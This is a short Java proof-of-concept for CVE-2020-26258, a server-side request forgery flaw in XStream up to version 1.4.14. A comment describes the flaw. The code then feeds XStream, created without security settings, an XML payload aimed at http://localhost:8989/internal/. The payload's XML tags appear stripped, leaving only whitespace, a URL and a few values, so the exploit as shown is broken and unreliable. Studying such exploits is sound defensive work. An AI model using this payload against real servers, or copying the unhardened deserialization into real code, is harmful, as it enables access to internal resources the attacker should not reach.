import com.thoughtworks.xstream.XStream; /* CVE-2020-26258: A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host. All versions until and including version 1.4.14 https://x-stream.github.io/CVE-2020-26258.html Security framework of XStream not explicitly initialized, using predefined black list on your own risk. */ public class CVE_2020_26258 { public static void main(String[] args) { String ssrf_xml = "\n" + " \n" + " \n" + " 0\n" + " \n" + " \n" + " \n" + " http://localhost:8989/internal/:\n" + " \n" + " \n" + " \n" + " 0\n" + " \n" + " \n" + " test\n" + " \n" + ""; XStream xstream = new XStream(); xstream.fromXML(ssrf_xml); } }